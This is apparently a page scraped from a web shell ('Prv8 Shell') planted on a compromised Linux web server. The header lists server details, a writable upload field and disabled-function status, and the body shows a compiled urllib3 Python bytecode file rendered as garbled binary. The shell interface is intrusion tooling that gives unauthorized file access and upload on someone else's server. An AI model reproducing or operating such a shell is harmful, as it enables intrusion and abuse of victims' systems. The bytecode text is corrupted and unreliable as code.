Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /usr/local/lib/python3.6/site-packages/urllib3/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.6/site-packages/urllib3/__pycache__/exceptions.cpython-36.pyc
3

G�Kd �@s~ddlmZddlmZGdd�de�ZGdd�de�ZGdd	�d	e�Z	Gd
d�de	�Z
Gdd
�d
e�ZGdd�de�ZGdd�de�Z
Gdd�de�ZeZGdd�de
�ZGdd�de
�ZGdd�de�ZGdd�de�ZGdd�dee
�ZGdd�de�ZGd d!�d!ee	�ZGd"d#�d#e	�ZGd$d%�d%e	�ZGd&d'�d'ee�ZGd(d)�d)e�ZGd*d+�d+e�ZGd,d-�d-e�ZGd.d/�d/e�ZGd0d1�d1e�ZGd2d3�d3e�Z Gd4d5�d5e�Z!Gd6d7�d7e�Z"Gd8d9�d9e�Z#Gd:d;�d;e�Z$Gd<d=�d=ee�Z%Gd>d?�d?e�Z&Gd@dA�dAee�ZGdBdC�dCee�Z'GdDdE�dEe�Z(GdFdG�dGe)e�Z*GdHdI�dIe�Z+GdJdK�dKe�Z,GdLdM�dMe�Z-dNS)O�)�absolute_import�)�IncompleteReadc@seZdZdZdS)�	HTTPErrorz#Base exception used by this module.N)�__name__�
__module__�__qualname__�__doc__�r
r
�5/tmp/pip-build-8nxjc3nm/urllib3/urllib3/exceptions.pyrsrc@seZdZdZdS)�HTTPWarningz!Base warning used by this module.N)rrrr	r
r
r
rrsrc@s eZdZdZdd�Zdd�ZdS)�	PoolErrorz/Base exception for errors caused within a pool.cCs||_tj|d||f�dS)Nz%s: %s)�poolr�__init__)�selfr�messager
r
rrszPoolError.__init__cCs
|jdfS)N)NN)�	__class__)rr
r
r�
__reduce__szPoolError.__reduce__N)rrrr	rrr
r
r
rr
sr
c@s eZdZdZdd�Zdd�ZdS)�RequestErrorz8Base exception for PoolErrors that have associated URLs.cCs||_tj|||�dS)N)�urlr
r)rrrrr
r
rr#szRequestError.__init__cCs|jd|jdffS)N)rr)rr
r
rr'szRequestError.__reduce__N)rrrr	rrr
r
r
rr src@seZdZdZdS)�SSLErrorz9Raised when SSL certificate fails in an HTTPS connection.N)rrrr	r
r
r
rr,srcs eZdZdZ�fdd�Z�ZS)�
ProxyErrorz,Raised when the connection to a proxy fails.cs"tt|�j||f|��||_dS)N)�superrr�original_error)rr�error�args)rr
rr5szProxyError.__init__)rrrr	r�
__classcell__r
r
)rrr2src@seZdZdZdS)�DecodeErrorz;Raised when automatic decoding based on Content-Type fails.N)rrrr	r
r
r
rr:src@seZdZdZdS)�
ProtocolErrorz>Raised when something unexpected happens mid-request/response.N)rrrr	r
r
r
rr@src@seZdZdZddd�ZdS)�
MaxRetryErroraRaised when the maximum number of retries is exceeded.

    :param pool: The connection pool
    :type pool: :class:`~urllib3.connectionpool.HTTPConnectionPool`
    :param string url: The requested Url
    :param exceptions.Exception reason: The underlying error

    NcCs&||_d||f}tj||||�dS)Nz0Max retries exceeded with url: %s (Caused by %r))�reasonrr)rrrr rr
r
rrWszMaxRetryError.__init__)N)rrrr	rr
r
r
rrMsrc@seZdZdZddd�ZdS)�HostChangedErrorz?Raised when an existing pool gets a request for a foreign host.�cCs"d|}tj||||�||_dS)Nz)Tried to open a foreign host with url: %s)rr�retries)rrrr#rr
r
rrbszHostChangedError.__init__N)r")rrrr	rr
r
r
rr!_sr!c@seZdZdZdS)�TimeoutStateErrorz1Raised when passing an invalid state to a timeoutN)rrrr	r
r
r
rr$hsr$c@seZdZdZdS)�TimeoutErrorz�Raised when a socket timeout error occurs.

    Catching this error will catch both :exc:`ReadTimeoutErrors
    <ReadTimeoutError>` and :exc:`ConnectTimeoutErrors <ConnectTimeoutError>`.
    N)rrrr	r
r
r
rr%nsr%c@seZdZdZdS)�ReadTimeoutErrorzFRaised when a socket timeout occurs while receiving data from a serverN)rrrr	r
r
r
rr&xsr&c@seZdZdZdS)�ConnectTimeoutErrorz@Raised when a socket timeout occurs while connecting to a serverN)rrrr	r
r
r
rr'�sr'c@seZdZdZdS)�NewConnectionErrorzHRaised when we fail to establish a new connection. Usually ECONNREFUSED.N)rrrr	r
r
r
rr(�sr(c@seZdZdZdS)�EmptyPoolErrorzCRaised when a pool runs out of connections and no more are allowed.N)rrrr	r
r
r
rr)�sr)c@seZdZdZdS)�ClosedPoolErrorzCRaised when a request enters a pool after the pool has been closed.N)rrrr	r
r
r
rr*�sr*c@seZdZdZdS)�LocationValueErrorz<Raised when there is something wrong with a given URL input.N)rrrr	r
r
r
rr+�sr+c@seZdZdZdd�ZdS)�LocationParseErrorz=Raised when get_host or similar fails to parse the URL input.cCsd|}tj||�||_dS)NzFailed to parse: %s)rr�location)rr-rr
r
rr�szLocationParseError.__init__N)rrrr	rr
r
r
rr,�sr,cs eZdZdZ�fdd�Z�ZS)�URLSchemeUnknownz2Raised when a URL input has an unsupported scheme.cs"d|}tt|�j|�||_dS)NzNot supported URL scheme %s)rr.r�scheme)rr/r)rr
rr�szURLSchemeUnknown.__init__)rrrr	rrr
r
)rrr.�sr.c@seZdZdZdZdZdS)�
ResponseErrorzDUsed as a container for an error reason supplied in a MaxRetryError.ztoo many error responsesz&too many {status_code} error responsesN)rrrr	�
GENERIC_ERROR�SPECIFIC_ERRORr
r
r
rr0�sr0c@seZdZdZdS)�SecurityWarningz0Warned when performing security reducing actionsN)rrrr	r
r
r
rr3�sr3c@seZdZdZdS)�SubjectAltNameWarningzBWarned when connecting to a host with a certificate missing a SAN.N)rrrr	r
r
r
rr4�sr4c@seZdZdZdS)�InsecureRequestWarningz/Warned when making an unverified HTTPS request.N)rrrr	r
r
r
rr5�sr5c@seZdZdZdS)�SystemTimeWarningz0Warned when system time is suspected to be wrongN)rrrr	r
r
r
rr6�sr6c@seZdZdZdS)�InsecurePlatformWarningzIWarned when certain TLS/SSL configuration is not available on a platform.N)rrrr	r
r
r
rr7�sr7c@seZdZdZdS)�SNIMissingWarningz9Warned when making a HTTPS request without SNI available.N)rrrr	r
r
r
rr8�sr8c@seZdZdZdS)�DependencyWarningzc
    Warned when an attempt is made to import a module with missing optional
    dependencies.
    N)rrrr	r
r
r
rr9�sr9c@seZdZdZdS)�ResponseNotChunkedz;Response needs to be chunked in order to read it as chunks.N)rrrr	r
r
r
rr:�sr:c@seZdZdZdS)�BodyNotHttplibCompatiblez�
    Body should be :class:`http.client.HTTPResponse` like
    (have an fp attribute which returns raw chunks) for read_chunked().
    N)rrrr	r
r
r
rr;�sr;cs(eZdZdZ�fdd�Zdd�Z�ZS)rz�
    Response length doesn't match expected Content-Length

    Subclass of :class:`http.client.IncompleteRead` to allow int value
    for ``partial`` to avoid creating large objects on streamed reads.
    cstt|�j||�dS)N)rrr)r�partial�expected)rr
rr�szIncompleteRead.__init__cCsd|j|jfS)Nz/IncompleteRead(%i bytes read, %i more expected))r<r=)rr
r
r�__repr__szIncompleteRead.__repr__)rrrr	rr>rr
r
)rrr�srcs(eZdZdZ�fdd�Zdd�Z�ZS)�InvalidChunkLengthz+Invalid chunk length in a chunked response.cs(tt|�j|j�|j�||_||_dS)N)rr?r�tell�length_remaining�response�length)rrBrC)rr
rr
s
zInvalidChunkLength.__init__cCsd|j|jfS)Nz0InvalidChunkLength(got length %r, %i bytes read))rCr<)rr
r
rr>szInvalidChunkLength.__repr__)rrrr	rr>rr
r
)rrr?sr?c@seZdZdZdS)�
InvalidHeaderz(The header provided was somehow invalid.N)rrrr	r
r
r
rrDsrDcs eZdZdZ�fdd�Z�ZS)�ProxySchemeUnknownz1ProxyManager does not support the supplied schemecs6|dkrd}|dkrd}nd|}tt|�j|�dS)N�	localhostz>Proxy URL had no scheme, should start with http:// or https://zCProxy URL had unsupported scheme %s, should use http:// or https://)rrEr)rr/r)rr
rr#szProxySchemeUnknown.__init__)rrrr	rrr
r
)rrrEsrEc@seZdZdZdS)�ProxySchemeUnsupportedz=Fetching HTTPS resources through HTTPS proxies is unsupportedN)rrrr	r
r
r
rrG2srGcs eZdZdZ�fdd�Z�ZS)�HeaderParsingErrorzNRaised by assert_header_parsing, but we convert it to a log.warning statement.cs$d|pd|f}tt|�j|�dS)Nz%s, unparsed data: %r�Unknown)rrHr)r�defects�
unparsed_datar)rr
rr;szHeaderParsingError.__init__)rrrr	rrr
r
)rrrH8srHc@seZdZdZdS)�UnrewindableBodyErrorz9urllib3 encountered an error when trying to rewind a bodyN)rrrr	r
r
r
rrL@srLN).�
__future__rZpackages.six.moves.http_clientr�httplib_IncompleteRead�	Exceptionr�Warningrr
rrrrr�ConnectionErrorrr!r$r%r&r'r(r)r*�
ValueErrorr+r,r.r0r3r4r5r6r7r8r9r:r;r?rD�AssertionErrorrErGrHrLr
r
r
r�<module>sN	


		

haha - 2025